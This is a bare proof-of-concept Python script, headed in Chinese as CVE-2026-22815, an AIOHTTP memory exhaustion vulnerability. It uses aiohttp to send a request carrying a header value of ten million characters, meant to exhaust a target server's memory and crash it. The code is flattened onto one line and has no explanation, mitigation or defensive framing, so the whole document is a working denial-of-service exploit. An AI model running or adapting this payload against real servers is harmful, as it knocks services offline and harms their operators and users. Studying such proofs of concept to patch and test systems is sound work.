CVE-2026-22815 AIOHTTP内存耗尽漏洞

import asyncio import aiohttp async def send_malicious_request(): target_url = "http://127.0.0.1:8080/" # Generate a large header value to trigger memory exhaustion # Adjust the size based on the target server's memory limits malicious_payload = "A" * 10000000 headers = { "User-Agent": "PoC-Client", "X-Malicious-Header": malicious_payload } try: async with aiohttp.ClientSession() as session: print("Sending malicious request...") async with session.get(target_url, headers=headers) as resp: print(f"Received status: {resp.status}") except Exception as e: print(f"Request failed or server crashed: {e}") if __name__ == "__main__": # Run the asynchronous function asyncio.run(send_malicious_request())